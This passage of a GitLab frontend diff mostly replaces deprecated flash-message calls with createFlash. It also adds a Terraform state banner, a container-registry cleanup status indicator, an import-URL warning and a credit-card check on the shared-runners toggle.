<gl-filtered-search-suggestion v-for="(tag, index) in tags" :key="index" :value="tag">
{{ tag }}
diff --git a/app/assets/javascripts/pipelines/components/pipelines_list/tokens/pipeline_trigger_author_token.vue b/app/assets/javascripts/pipelines/components/pipelines_list/tokens/pipeline_trigger_author_token.vue
index bc661f37493..33115d72b9c 100644
--- a/app/assets/javascripts/pipelines/components/pipelines_list/tokens/pipeline_trigger_author_token.vue
+++ b/app/assets/javascripts/pipelines/components/pipelines_list/tokens/pipeline_trigger_author_token.vue
@@ -98,7 +98,7 @@ export default {
}}</gl-filtered-search-suggestion>
<gl-dropdown-divider />
- <gl-loading-icon v-if="loading" />
+ <gl-loading-icon v-if="loading" size="sm" />
<template v-else>
<gl-filtered-search-suggestion
v-for="user in users"
diff --git a/app/assets/javascripts/pipelines/constants.js b/app/assets/javascripts/pipelines/constants.js
index 01705e7726f..21b114825a6 100644
--- a/app/assets/javascripts/pipelines/constants.js
+++ b/app/assets/javascripts/pipelines/constants.js
@@ -35,6 +35,3 @@ export const POST_FAILURE = 'post_failure';
export const UNSUPPORTED_DATA = 'unsupported_data';
export const CHILD_VIEW = 'child';
-
-// The key of the template is the same as the filename
-export const HELLO_WORLD_TEMPLATE_KEY = 'Hello-World';
diff --git a/app/assets/javascripts/pipelines/mixins/graph_pipeline_bundle_mixin.js b/app/assets/javascripts/pipelines/mixins/graph_pipeline_bundle_mixin.js
index 9f15b6c4ae3..5c34f4e4f7e 100644
--- a/app/assets/javascripts/pipelines/mixins/graph_pipeline_bundle_mixin.js
+++ b/app/assets/javascripts/pipelines/mixins/graph_pipeline_bundle_mixin.js
@@ -1,4 +1,4 @@
-import { deprecatedCreateFlash as flash } from '~/flash';
+import createFlash from '~/flash';
import { __ } from '~/locale';
export default {
@@ -13,7 +13,9 @@ export default {
})
.catch(() => {
this.mediator.store.toggleLoading(pipeline);
- flash(__('An error occurred while fetching the pipeline.'));
+ createFlash({
+ message: __('An error occurred while fetching the pipeline.'),
+ });
});
},
/**
@@ -53,9 +55,11 @@ export default {
requestRefreshPipelineGraph() {
// When an action is clicked
// (whether in the dropdown or in the main nodes, we refresh the big graph)
- this.mediator
- .refreshPipeline()
- .catch(() => flash(__('An error occurred while making the request.')));
+ this.mediator.refreshPipeline().catch(() =>
+ createFlash({
+ message: __('An error occurred while making the request.'),
+ }),
+ );
},
},
};
diff --git a/app/assets/javascripts/pipelines/pipeline_details_bundle.js b/app/assets/javascripts/pipelines/pipeline_details_bundle.js
index 9ab4753fec8..e8d5ed175ba 100644
--- a/app/assets/javascripts/pipelines/pipeline_details_bundle.js
+++ b/app/assets/javascripts/pipelines/pipeline_details_bundle.js
@@ -1,5 +1,5 @@
import Vue from 'vue';
-import { deprecatedCreateFlash as Flash } from '~/flash';
+import createFlash from '~/flash';
import { parseBoolean } from '~/lib/utils/common_utils';
import { __ } from '~/locale';
import Translate from '~/vue_shared/translate';
@@ -96,14 +96,18 @@ export default async function initPipelineDetailsBundle() {
try {
createPipelineHeaderApp(SELECTORS.PIPELINE_HEADER, apolloProvider, dataset.graphqlResourceEtag);
} catch {
- Flash(__('An error occurred while loading a section of this page.'));
+ createFlash({
+ message: __('An error occurred while loading a section of this page.'),
+ });
}
if (canShowNewPipelineDetails) {
try {
createPipelinesDetailApp(SELECTORS.PIPELINE_GRAPH, apolloProvider, dataset);
} catch {
- Flash(__('An error occurred while loading the pipeline.'));
+ createFlash({
+ message: __('An error occurred while loading the pipeline.'),
+ });
}
} else {
const { default: PipelinesMediator } = await import(
diff --git a/app/assets/javascripts/pipelines/pipeline_details_mediator.js b/app/assets/javascripts/pipelines/pipeline_details_mediator.js
index 09637c25654..72c4fedc64c 100644
--- a/app/assets/javascripts/pipelines/pipeline_details_mediator.js
+++ b/app/assets/javascripts/pipelines/pipeline_details_mediator.js
@@ -1,5 +1,5 @@
import Visibility from 'visibilityjs';
-import { deprecatedCreateFlash as Flash } from '../flash';
+import createFlash from '~/flash';
import Poll from '../lib/utils/poll';
import { __ } from '../locale';
import PipelineService from './services/pipeline_service';
@@ -47,7 +47,9 @@ export default class pipelinesMediator {
errorCallback() {
this.state.isLoading = false;
- Flash(__('An error occurred while fetching the pipeline.'));
+ createFlash({
+ message: __('An error occurred while fetching the pipeline.'),
+ });
}
refreshPipeline() {
diff --git a/app/assets/javascripts/pipelines/pipeline_shared_client.js b/app/assets/javascripts/pipelines/pipeline_shared_client.js
index c3be487caae..7a922acd0b3 100644
--- a/app/assets/javascripts/pipelines/pipeline_shared_client.js
+++ b/app/assets/javascripts/pipelines/pipeline_shared_client.js
@@ -5,6 +5,7 @@ export const apolloProvider = new VueApollo({
defaultClient: createDefaultClient(
{},
{
+ assumeImmutableResults: true,
useGet: true,
},
),
diff --git a/app/assets/javascripts/pipelines/pipelines_index.js b/app/assets/javascripts/pipelines/pipelines_index.js
index 925a96ea1aa..c4c2b5f2927 100644
--- a/app/assets/javascripts/pipelines/pipelines_index.js
+++ b/app/assets/javascripts/pipelines/pipelines_index.js
@@ -29,7 +29,7 @@ export const initPipelinesIndex = (selector = '#pipelines-list-vue') => {
errorStateSvgPath,
noPipelinesSvgPath,
newPipelinePath,
- addCiYmlPath,
+ pipelineEditorPath,
suggestedCiTemplates,
canCreatePipeline,
hasGitlabCi,
@@ -44,7 +44,7 @@ export const initPipelinesIndex = (selector = '#pipelines-list-vue') => {
return new Vue({
el,
provide: {
- addCiYmlPath,
+ pipelineEditorPath,
artifactsEndpoint,
artifactsEndpointPlaceholder,
suggestedCiTemplates: JSON.parse(suggestedCiTemplates),
diff --git a/app/assets/javascripts/profile/preferences/components/profile_preferences.vue b/app/assets/javascripts/profile/preferences/components/profile_preferences.vue
index 07d8f3cc5f1..a0129dd536b 100644
--- a/app/assets/javascripts/profile/preferences/components/profile_preferences.vue
+++ b/app/assets/javascripts/profile/preferences/components/profile_preferences.vue
@@ -131,7 +131,8 @@ export default {
<div class="col-lg-8">
<div class="form-group">
<gl-button
- variant="success"
+ category="primary"
+ variant="confirm"
name="commit"
type="submit"
:disabled="!isSubmitEnabled"
diff --git a/app/assets/javascripts/profile/profile.js b/app/assets/javascripts/profile/profile.js
index dad2c18fb18..c49ade2bbb8 100644
--- a/app/assets/javascripts/profile/profile.js
+++ b/app/assets/javascripts/profile/profile.js
@@ -1,11 +1,11 @@
import $ from 'jquery';
+import createFlash from '~/flash';
import axios from '~/lib/utils/axios_utils';
import { parseBoolean } from '~/lib/utils/common_utils';
import { Rails } from '~/lib/utils/rails_ujs';
import TimezoneDropdown, {
formatTimezone,
} from '~/pages/projects/pipeline_schedules/shared/components/timezone_dropdown';
-import { deprecatedCreateFlash as flash } from '../flash';
export default class Profile {
constructor({ form } = {}) {
@@ -83,14 +83,21 @@ export default class Profile {
this.updateHeaderAvatar();
}
- flash(data.message, 'notice');
+ createFlash({
+ message: data.message,
+ type: 'notice',
+ });
})
.then(() => {
window.scrollTo(0, 0);
// Enable submit button after requests ends
self.form.find(':input[disabled]').enable();
})
- .catch((error) => flash(error.message));
+ .catch((error) =>
+ createFlash({
+ message: error.message,
+ }),
+ );
}
updateHeaderAvatar() {
diff --git a/app/assets/javascripts/project_find_file.js b/app/assets/javascripts/project_find_file.js
index f44661cb139..d295c06928f 100644
--- a/app/assets/javascripts/project_find_file.js
+++ b/app/assets/javascripts/project_find_file.js
@@ -2,7 +2,7 @@
import fuzzaldrinPlus from 'fuzzaldrin-plus';
import $ from 'jquery';
-import { deprecatedCreateFlash as flash } from '~/flash';
+import createFlash from '~/flash';
import { sanitize } from '~/lib/dompurify';
import axios from '~/lib/utils/axios_utils';
import { spriteIcon } from '~/lib/utils/common_utils';
@@ -88,7 +88,11 @@ export default class ProjectFindFile {
this.findFile();
this.element.find('.files-slider tr.tree-item').eq(0).addClass('selected').focus();
})
- .catch(() => flash(__('An error occurred while loading filenames')));
+ .catch(() =>
+ createFlash({
+ message: __('An error occurred while loading filenames'),
+ }),
+ );
}
// render result
diff --git a/app/assets/javascripts/project_label_subscription.js b/app/assets/javascripts/project_label_subscription.js
index e6dd4145cb8..f7804c2faa4 100644
--- a/app/assets/javascripts/project_label_subscription.js
+++ b/app/assets/javascripts/project_label_subscription.js
@@ -1,6 +1,6 @@
import $ from 'jquery';
import { fixTitle } from '~/tooltips';
-import { deprecatedCreateFlash as flash } from './flash';
+import createFlash from './flash';
import axios from './lib/utils/axios_utils';
import { __ } from './locale';
@@ -60,7 +60,11 @@ export default class ProjectLabelSubscription {
return button;
});
})
- .catch(() => flash(__('There was an error subscribing to this label.')));
+ .catch(() =>
+ createFlash({
+ message: __('There was an error subscribing to this label.'),
+ }),
+ );
}
static setNewTitle($button, originalTitle, newStatus) {
diff --git a/app/assets/javascripts/projects/commit/components/branches_dropdown.vue b/app/assets/javascripts/projects/commit/components/branches_dropdown.vue
index cc5bc703994..52da8aaba4d 100644
--- a/app/assets/javascripts/projects/commit/components/branches_dropdown.vue
+++ b/app/assets/javascripts/projects/commit/components/branches_dropdown.vue
@@ -99,7 +99,7 @@ export default {
{{ branch }}
</gl-dropdown-item>
<gl-dropdown-text v-show="isFetching" data-testid="dropdown-text-loading-icon">
- <gl-loading-icon class="gl-mx-auto" />
+ <gl-loading-icon size="sm" class="gl-mx-auto" />
</gl-dropdown-text>
<gl-dropdown-text
v-if="!filteredResults.length && !isFetching"
diff --git a/app/assets/javascripts/projects/commits/components/author_select.vue b/app/assets/javascripts/projects/commits/components/author_select.vue
index 1566232751d..c8a0a3417f3 100644
--- a/app/assets/javascripts/projects/commits/components/author_select.vue
+++ b/app/assets/javascripts/projects/commits/components/author_select.vue
@@ -9,8 +9,7 @@ import {
} from '@gitlab/ui';
import { debounce } from 'lodash';
import { mapState, mapActions } from 'vuex';
-import { urlParamsToObject } from '~/lib/utils/common_utils';
-import { redirectTo } from '~/lib/utils/url_utility';
+import { redirectTo, queryToObject } from '~/lib/utils/url_utility';
import { __ } from '~/locale';
const tooltipMessage = __('Searching by both author and message is currently not supported.');
@@ -52,7 +51,7 @@ export default {
},
mounted() {
this.fetchAuthors();
- const params = urlParamsToObject(window.location.search);
+ const params = queryToObject(window.location.search);
const { search: searchParam, author: authorParam } = params;
const commitsSearchInput = this.projectCommitsEl.querySelector('#commits-search');
diff --git a/app/assets/javascripts/projects/components/project_delete_button.vue b/app/assets/javascripts/projects/components/project_delete_button.vue
index 81d23a563e2..06711e4025a 100644
--- a/app/assets/javascripts/projects/components/project_delete_button.vue
+++ b/app/assets/javascripts/projects/components/project_delete_button.vue
@@ -24,9 +24,6 @@ export default {
alertBody: __(
'Once a project is permanently deleted, it %{strongStart}cannot be recovered%{strongEnd}. Permanently deleting this project will %{strongStart}immediately delete%{strongEnd} its repositories and %{strongStart}all related resources%{strongEnd}, including issues, merge requests etc.',
),
- modalBody: __(
- "This action cannot be undone. You will lose this project's repository and all related resources, including issues, merge requests, etc.",
- ),
},
};
</script>
@@ -46,7 +43,6 @@ export default {
</template>
</gl-sprintf>
</gl-alert>
- <p>{{ $options.strings.modalBody }}</p>
</template>
</shared-delete-button>
</template>
diff --git a/app/assets/javascripts/projects/pipelines/charts/components/pipeline_charts.vue b/app/assets/javascripts/projects/pipelines/charts/components/pipeline_charts.vue
index 1c4413bef71..0b0560f63c1 100644
--- a/app/assets/javascripts/projects/pipelines/charts/components/pipeline_charts.vue
+++ b/app/assets/javascripts/projects/pipelines/charts/components/pipeline_charts.vue
@@ -225,11 +225,21 @@ export default {
{
name: 'success',
data: this.mergeLabelsAndValues(labels, success),
+ areaStyle: {
+ color: this.$options.successColor,
+ },
+ lineStyle: {
+ color: this.$options.successColor,
+ },
+ itemStyle: {
+ color: this.$options.successColor,
+ },
},
],
};
},
},
+ successColor: '#608b2f',
chartContainerHeight: CHART_CONTAINER_HEIGHT,
timesChartOptions: {
height: INNER_CHART_HEIGHT,
diff --git a/app/assets/javascripts/projects/project_new.js b/app/assets/javascripts/projects/project_new.js
index 04ea6f760f6..ee02f446795 100644
--- a/app/assets/javascripts/projects/project_new.js
+++ b/app/assets/javascripts/projects/project_new.js
@@ -74,6 +74,7 @@ const deriveProjectPathFromUrl = ($projectImportUrl) => {
const bindEvents = () => {
const $newProjectForm = $('#new_project');
const $projectImportUrl = $('#project_import_url');
+ const $projectImportUrlWarning = $('.js-import-url-warning');
const $projectPath = $('.tab-pane.active #project_path');
const $useTemplateBtn = $('.template-button > input');
const $projectFieldsForm = $('.project-fields-form');
@@ -134,7 +135,25 @@ const bindEvents = () => {
$projectPath.val($projectPath.val().trim());
});
- $projectImportUrl.keyup(() => deriveProjectPathFromUrl($projectImportUrl));
+ function updateUrlPathWarningVisibility() {
+ const url = $projectImportUrl.val();
+ const URL_PATTERN = /(?:git|https?):\/\/.*\/.*\.git$/;
+ const isUrlValid = URL_PATTERN.test(url);
+ $projectImportUrlWarning.toggleClass('hide', isUrlValid);
+ }
+
+ let isProjectImportUrlDirty = false;
+ $projectImportUrl.on('blur', () => {
+ isProjectImportUrlDirty = true;
+ updateUrlPathWarningVisibility();
+ });
+ $projectImportUrl.on('keyup', () => {
+ deriveProjectPathFromUrl($projectImportUrl);
+ // defer error message till first input blur
+ if (isProjectImportUrlDirty) {
+ updateUrlPathWarningVisibility();
+ }
+ });
$('.js-import-git-toggle-button').on('click', () => {
const $projectMirror = $('#project_mirror');
diff --git a/app/assets/javascripts/projects/settings/components/shared_runners_toggle.vue b/app/assets/javascripts/projects/settings/components/shared_runners_toggle.vue
index 0786a74f6b1..e4edb950a1e 100644
--- a/app/assets/javascripts/projects/settings/components/shared_runners_toggle.vue
+++ b/app/assets/javascripts/projects/settings/components/shared_runners_toggle.vue
@@ -1,15 +1,23 @@
<script>
import { GlAlert, GlToggle, GlTooltip } from '@gitlab/ui';
import axios from '~/lib/utils/axios_utils';
-import { __ } from '~/locale';
+import { __, s__ } from '~/locale';
const DEFAULT_ERROR_MESSAGE = __('An error occurred while updating the configuration.');
+const REQUIRES_VALIDATION_TEXT = s__(
+ `Billings|Shared runners cannot be enabled until a valid credit card is on file.`,
+);
export default {
+ i18n: {
+ REQUIRES_VALIDATION_TEXT,
+ },
components: {
GlAlert,
GlToggle,
GlTooltip,
+ CcValidationRequiredAlert: () =>
+ import('ee_component/billings/components/cc_validation_required_alert.vue'),
},
props: {
isDisabledAndUnoverridable: {
@@ -20,6 +28,10 @@ export default {
type: Boolean,
required: true,
},
+ isCreditCardValidationRequired: {
+ type: Boolean,
+ required: false,
+ },
updatePath: {
type: String,
required: true,
@@ -28,14 +40,24 @@ export default {
data() {
return {
isLoading: false,
- isSharedRunnerEnabled: false,
+ isSharedRunnerEnabled: this.isEnabled,
errorMessage: null,
+ successfulValidation: false,
};
},
- created() {
- this.isSharedRunnerEnabled = this.isEnabled;
+ computed: {
+ showCreditCardValidation() {
+ return (
+ this.isCreditCardValidationRequired &&
+ !this.isSharedRunnerEnabled &&
+ !this.successfulValidation
+ );
+ },
},
methods: {
+ creditCardValidated() {
+ this.successfulValidation = true;
+ },
toggleSharedRunners() {
this.isLoading = true;
this.errorMessage = null;
@@ -61,16 +83,25 @@ export default {
<gl-alert v-if="errorMessage" class="gl-mb-3" variant="danger" :dismissible="false">
{{ errorMessage }}
</gl-alert>
- <div ref="sharedRunnersToggle">
- <gl-toggle
- :disabled="isDisabledAndUnoverridable"
- :is-loading="isLoading"
- :label="__('Enable shared runners for this project')"
- :value="isSharedRunnerEnabled"
- data-testid="toggle-shared-runners"
- @change="toggleSharedRunners"
- />
- </div>
+
+ <cc-validation-required-alert
+ v-if="showCreditCardValidation"
+ class="gl-pb-5"
+ :custom-message="$options.i18n.REQUIRES_VALIDATION_TEXT"
+ @verifiedCreditCard="creditCardValidated"
+ />
+
+ <gl-toggle
+ v-else
+ ref="sharedRunnersToggle"
+ :disabled="isDisabledAndUnoverridable"
+ :is-loading="isLoading"
+ :label="__('Enable shared runners for this project')"
+ :value="isSharedRunnerEnabled"
+ data-testid="toggle-shared-runners"
+ @change="toggleSharedRunners"
+ />
+
<gl-tooltip v-if="isDisabledAndUnoverridable" :target="() => $refs.sharedRunnersToggle">
{{ __('Shared runners are disabled on group level') }}
</gl-tooltip>
diff --git a/app/assets/javascripts/projects/settings/mount_shared_runners_toggle.js b/app/assets/javascripts/projects/settings/mount_shared_runners_toggle.js
index eaeb5848b68..5ca864a412b 100644
--- a/app/assets/javascripts/projects/settings/mount_shared_runners_toggle.js
+++ b/app/assets/javascripts/projects/settings/mount_shared_runners_toggle.js
@@ -4,7 +4,12 @@ import SharedRunnersToggle from '~/projects/settings/components/shared_runners_t
export default (containerId = 'toggle-shared-runners-form') => {
const containerEl = document.getElementById(containerId);
- const { isDisabledAndUnoverridable, isEnabled, updatePath } = containerEl.dataset;
+ const {
+ isDisabledAndUnoverridable,
+ isEnabled,
+ updatePath,
+ isCreditCardValidationRequired,
+ } = containerEl.dataset;
return new Vue({
el: containerEl,
@@ -13,6 +18,7 @@ export default (containerId = 'toggle-shared-runners-form') => {
props: {
isDisabledAndUnoverridable: parseBoolean(isDisabledAndUnoverridable),
isEnabled: parseBoolean(isEnabled),
+ isCreditCardValidationRequired: parseBoolean(isCreditCardValidationRequired),
updatePath,
},
});
diff --git a/app/assets/javascripts/projects/settings_service_desk/components/service_desk_root.vue b/app/assets/javascripts/projects/settings_service_desk/components/service_desk_root.vue
index fb00f58abae..4c083ed5496 100644
--- a/app/assets/javascripts/projects/settings_service_desk/components/service_desk_root.vue
+++ b/app/assets/javascripts/projects/settings_service_desk/components/service_desk_root.vue
@@ -1,5 +1,5 @@
<script>
-import { GlAlert } from '@gitlab/ui';
+import { GlAlert, GlSafeHtmlDirective } from '@gitlab/ui';
import axios from '~/lib/utils/axios_utils';
import { __, sprintf } from '~/locale';
import ServiceDeskSetting from './service_desk_setting.vue';
@@ -9,6 +9,9 @@ export default {
GlAlert,
ServiceDeskSetting,
},
+ directives: {
+ SafeHtml: GlSafeHtmlDirective,
+ },
inject: {
initialIsEnabled: {
default: false,
@@ -121,7 +124,7 @@ export default {
<template>
<div>
<gl-alert v-if="isAlertShowing" class="mb-3" :variant="alertVariant" @dismiss="onDismiss">
- {{ alertMessage }}
+ <span v-safe-html="alertMessage"></span>
</gl-alert>
<service-desk-setting
:is-enabled="isEnabled"
diff --git a/app/assets/javascripts/projects/settings_service_desk/components/service_desk_setting.vue b/app/assets/javascripts/projects/settings_service_desk/components/service_desk_setting.vue
index 3294a37c26a..34d53e2de0c 100644
--- a/app/assets/javascripts/projects/settings_service_desk/components/service_desk_setting.vue
+++ b/app/assets/javascripts/projects/settings_service_desk/components/service_desk_setting.vue
@@ -144,7 +144,7 @@ export default {
</span>
</template>
<template v-else>
- <gl-loading-icon :inline="true" />
+ <gl-loading-icon size="sm" :inline="true" />
<span class="sr-only">{{ __('Fetching incoming email') }}</span>
</template>
diff --git a/app/assets/javascripts/projects/terraform_notification/components/terraform_notification.vue b/app/assets/javascripts/projects/terraform_notification/components/terraform_notification.vue
new file mode 100644
index 00000000000..0b398eddc9c
--- /dev/null
+++ b/app/assets/javascripts/projects/terraform_notification/components/terraform_notification.vue
@@ -0,0 +1,65 @@
+<script>
+import { GlBanner } from '@gitlab/ui';
+import { helpPagePath } from '~/helpers/help_page_helper';
+import { parseBoolean, setCookie, getCookie } from '~/lib/utils/common_utils';
+import { s__ } from '~/locale';
+
+export default {
+ name: 'TerraformNotification',
+ i18n: {
+ title: s__('TerraformBanner|Using Terraform? Try the GitLab Managed Terraform State'),
+ description: s__(
+ 'TerraformBanner|The GitLab managed Terraform state backend can store your Terraform state easily and securely, and spares you from setting up additional remote resources. Its features include: versioning, encryption of the state file both in transit and at rest, locking, and remote Terraform plan/apply execution.',
+ ),
+ buttonText: s__("TerraformBanner|Learn more about GitLab's Backend State"),
+ },
+ components: {
+ GlBanner,
+ },
+ props: {
+ projectId: {
+ type: Number,
+ required: true,
+ },
+ },
+ data() {
+ return {
+ isVisible: true,
+ };
+ },
+ computed: {
+ bannerDissmisedKey() {
+ return `terraform_notification_dismissed_for_project_${this.projectId}`;
+ },
+ docsUrl() {
+ return helpPagePath('user/infrastructure/terraform_state');
+ },
+ },
+ created() {
+ if (parseBoolean(getCookie(this.bannerDissmisedKey))) {
+ this.isVisible = false;
+ }
+ },
+ methods: {
+ handleClose() {
+ setCookie(this.bannerDissmisedKey, true);
+ this.isVisible = false;
+ },
+ },
+};
+</script>
+<template>
+ <div v-if="isVisible">
+ <div class="gl-py-5">
+ <gl-banner
+ :title="$options.i18n.title"
+ :button-text="$options.i18n.buttonText"
+ :button-link="docsUrl"
+ variant="introduction"
+ @close="handleClose"
+ >
+ <p>{{ $options.i18n.description }}</p>
+ </gl-banner>
+ </div>
+ </div>
+</template>
diff --git a/app/assets/javascripts/projects/terraform_notification/index.js b/app/assets/javascripts/projects/terraform_notification/index.js
new file mode 100644
index 00000000000..eb04f109a8e
--- /dev/null
+++ b/app/assets/javascripts/projects/terraform_notification/index.js
@@ -0,0 +1,18 @@
+import Vue from 'vue';
+import TerraformNotification from './components/terraform_notification.vue';
+
+export default () => {
+ const el = document.querySelector('.js-terraform-notification');
+
+ if (!el) {
+ return false;
+ }
+
+ const { projectId } = el.dataset;
+
+ return new Vue({
+ el,
+ render: (createElement) =>
+ createElement(TerraformNotification, { props: { projectId: Number(projectId) } }),
+ });
+};
diff --git a/app/assets/javascripts/projects/tree/components/commit_pipeline_status_component.vue b/app/assets/javascripts/projects/tree/components/commit_pipeline_status_component.vue
index f3d12e0dd00..f6f409873c8 100644
--- a/app/assets/javascripts/projects/tree/components/commit_pipeline_status_component.vue
+++ b/app/assets/javascripts/projects/tree/components/commit_pipeline_status_component.vue
@@ -1,7 +1,7 @@
<script>
import { GlLoadingIcon, GlTooltipDirective } from '@gitlab/ui';
import Visibility from 'visibilityjs';
-import { deprecatedCreateFlash as Flash } from '~/flash';
+import createFlash from '~/flash';
import Poll from '~/lib/utils/poll';
import { __, s__, sprintf } from '~/locale';
import ciIcon from '~/vue_shared/components/ci_icon.vue';
@@ -57,7 +57,9 @@ export default {
group: 'notfound',
};
this.isLoading = false;
- Flash(s__('Something went wrong on our end'));
+ createFlash({
+ message: s__('Something went wrong on our end'),
+ });
},
initPolling() {
this.poll = new Poll({
diff --git a/app/assets/javascripts/protected_branches/protected_branch_create.js b/app/assets/javascripts/protected_branches/protected_branch_create.js
index 726ddba1014..d0d2c1400a7 100644
--- a/app/assets/javascripts/protected_branches/protected_branch_create.js
+++ b/app/assets/javascripts/protected_branches/protected_branch_create.js
@@ -1,6 +1,6 @@
import $ from 'jquery';
import CreateItemDropdown from '~/create_item_dropdown';
-import { deprecatedCreateFlash as Flash } from '~/flash';
+import createFlash from '~/flash';
import AccessorUtilities from '~/lib/utils/accessor';
import axios from '~/lib/utils/axios_utils';
import { __ } from '~/locale';
@@ -135,6 +135,10 @@ export default class ProtectedBranchCreate {
.then(() => {
window.location.reload();
})
- .catch(() => Flash(__('Failed to protect the branch')));
+ .catch(() =>
+ createFlash({
+ message: __('Failed to protect the branch'),
+ }),
+ );
}
}
diff --git a/app/assets/javascripts/protected_tags/protected_tag_edit.js b/app/assets/javascripts/protected_tags/protected_tag_edit.js
index ae7855d4638..1fe9a753e1e 100644
--- a/app/assets/javascripts/protected_tags/protected_tag_edit.js
+++ b/app/assets/javascripts/protected_tags/protected_tag_edit.js
@@ -1,4 +1,4 @@
-import { deprecatedCreateFlash as flash } from '../flash';
+import createFlash from '~/flash';
import axios from '../lib/utils/axios_utils';
import { FAILED_TO_UPDATE_TAG_MESSAGE } from './constants';
import ProtectedTagAccessDropdown from './protected_tag_access_dropdown';
@@ -49,7 +49,9 @@ export default class ProtectedTagEdit {
this.$allowedToCreateDropdownButton.enable();
window.scrollTo({ top: 0, behavior: 'smooth' });
- flash(FAILED_TO_UPDATE_TAG_MESSAGE);
+ createFlash({
+ message: FAILED_TO_UPDATE_TAG_MESSAGE,
+ });
});
}
}
diff --git a/app/assets/javascripts/ref/constants.js b/app/assets/javascripts/ref/constants.js
index 44d0f50b832..1cef986a83d 100644
--- a/app/assets/javascripts/ref/constants.js
+++ b/app/assets/javascripts/ref/constants.js
@@ -1,3 +1,4 @@
+import { DEFAULT_DEBOUNCE_AND_THROTTLE_MS } from '~/lib/utils/constants';
import { __ } from '~/locale';
export const REF_TYPE_BRANCHES = 'REF_TYPE_BRANCHES';
@@ -7,7 +8,7 @@ export const ALL_REF_TYPES = Object.freeze([REF_TYPE_BRANCHES, REF_TYPE_TAGS, RE
export const X_TOTAL_HEADER = 'x-total';
-export const SEARCH_DEBOUNCE_MS = 250;
+export const SEARCH_DEBOUNCE_MS = DEFAULT_DEBOUNCE_AND_THROTTLE_MS;
export const DEFAULT_I18N = Object.freeze({
dropdownHeader: __('Select Git revision'),
diff --git a/app/assets/javascripts/registry/explorer/components/list_page/cleanup_status.vue b/app/assets/javascripts/registry/explorer/components/list_page/cleanup_status.vue
new file mode 100644
index 00000000000..8d9e221af4c
--- /dev/null
+++ b/app/assets/javascripts/registry/explorer/components/list_page/cleanup_status.vue
@@ -0,0 +1,71 @@
+<script>
+import { GlTooltipDirective, GlIcon } from '@gitlab/ui';
+import {
+ ASYNC_DELETE_IMAGE_ERROR_MESSAGE,
+ CLEANUP_STATUS_SCHEDULED,
+ CLEANUP_STATUS_ONGOING,
+ CLEANUP_STATUS_UNFINISHED,
+ UNFINISHED_STATUS,
+ UNSCHEDULED_STATUS,
+ SCHEDULED_STATUS,
+ ONGOING_STATUS,
+} from '../../constants/index';
+
+export default {
+ name: 'CleanupStatus',
+ components: {
+ GlIcon,
+ },
+ directives: {
+ GlTooltip: GlTooltipDirective,
+ },
+ props: {
+ status: {
+ type: String,
+ required: true,
+ validator(value) {
+ return [UNFINISHED_STATUS, UNSCHEDULED_STATUS, SCHEDULED_STATUS, ONGOING_STATUS].includes(
+ value,
+ );
+ },
+ },
+ },
+ i18n: {
+ CLEANUP_STATUS_SCHEDULED,
+ CLEANUP_STATUS_ONGOING,
+ CLEANUP_STATUS_UNFINISHED,
+ ASYNC_DELETE_IMAGE_ERROR_MESSAGE,
+ },
+ computed: {
+ showStatus() {
+ return this.status !== UNSCHEDULED_STATUS;
+ },
+ failedDelete() {
+ return this.status === UNFINISHED_STATUS;
+ },
+ statusText() {
+ return this.$options.i18n[`CLEANUP_STATUS_${this.status}`];
+ },
+ expireIconClass() {
+ return this.failedDelete ? 'gl-text-orange-500' : '';
+ },
+ },
+};
+</script>
+
+<template>
+ <div v-if="showStatus" class="gl-display-inline-flex gl-align-items-center">
+ <gl-icon name="expire" data-testid="main-icon" :class="expireIconClass" />
+ <span class="gl-mx-2">
+ {{ statusText }}
+ </span>
+ <gl-icon
+ v-if="failedDelete"
+ v-gl-tooltip="{ title: $options.i18n.ASYNC_DELETE_IMAGE_ERROR_MESSAGE }"
+ :size="14"
+ class="gl-text-black-normal"
+ data-testid="extra-info"
+ name="information"
+ />
+ </div>
+</template>
diff --git a/app/assets/javascripts/registry/explorer/components/list_page/image_list_row.vue b/app/assets/javascripts/registry/explorer/components/list_page/image_list_row.vue
index 930ad01c758..c1ec523574a 100644
--- a/app/assets/javascripts/registry/explorer/components/list_page/image_list_row.vue
+++ b/app/assets/javascripts/registry/explorer/components/list_page/image_list_row.vue
@@ -16,6 +16,7 @@ import {
ROOT_IMAGE_TEXT,
} from '../../constants/index';
import DeleteButton from '../delete_button.vue';
+import CleanupStatus from './cleanup_status.vue';
export default {
name: 'ImageListRow',
@@ -26,6 +27,7 @@ export default {
GlIcon,
ListItem,
GlSkeletonLoader,
+ CleanupStatus,
},
directives: {
GlTooltip: GlTooltipDirective,
@@ -112,27 +114,24 @@ export default {
:title="item.location"
category="tertiary"
/>
- <gl-icon
- v-if="warningIconText"
- v-gl-tooltip="{ title: warningIconText }"
- data-testid="warning-icon"
- name="warning"
- class="gl-text-orange-500"
- />
</template>
<template #left-secondary>
- <span
- v-if="!metadataLoading"
- class="gl-display-flex gl-align-items-center"
- data-testid="tags-count"
- >
- <gl-icon name="tag" class="gl-mr-2" />
- <gl-sprintf :message="tagsCountText">
- <template #count>
- {{ item.tagsCount }}
- </template>
- </gl-sprintf>
- </span>
+ <template v-if="!metadataLoading">
+ <span class="gl-display-flex gl-align-items-center" data-testid="tags-count">
+ <gl-icon name="tag" class="gl-mr-2" />
+ <gl-sprintf :message="tagsCountText">
+ <template #count>
+ {{ item.tagsCount }}
+ </template>
+ </gl-sprintf>
+ </span>
+
+ <cleanup-status
+ v-if="item.expirationPolicyCleanupStatus"
+ class="ml-2"
+ :status="item.expirationPolicyCleanupStatus"
+ />
+ </template>
<div v-else class="gl-w-full">
<gl-skeleton-loader :width="900" :height="16" preserve-aspect-ratio="xMinYMax meet">
diff --git a/app/assets/javascripts/registry/explorer/constants/details.js b/app/assets/javascripts/registry/explorer/constants/details.js
index 5dcc042a9c4..9b4c06349e2 100644
--- a/app/assets/javascripts/registry/explorer/constants/details.js
+++ b/app/assets/javascripts/registry/explorer/constants/details.js
@@ -89,6 +89,10 @@ export const CLEANUP_DISABLED_TOOLTIP = s__(
'ContainerRegistry|Cleanup is disabled for this project',
);
+export const CLEANUP_STATUS_SCHEDULED = s__('ContainerRegistry|Cleanup will run soon');
+export const CLEANUP_STATUS_ONGOING = s__('ContainerRegistry|Cleanup is ongoing');
+export const CLEANUP_STATUS_UNFINISHED = s__('ContainerRegistry|Cleanup timed out');
+
export const DETAILS_DELETE_IMAGE_ERROR_MESSAGE = s__(
'ContainerRegistry|Something went wrong while scheduling the image for deletion.',
);
diff --git a/app/assets/javascripts/related_issues/components/related_issues_list.vue b/app/assets/javascripts/related_issues/components/related_issues_list.vue
index 825a4a02b71..8f486fb1b07 100644
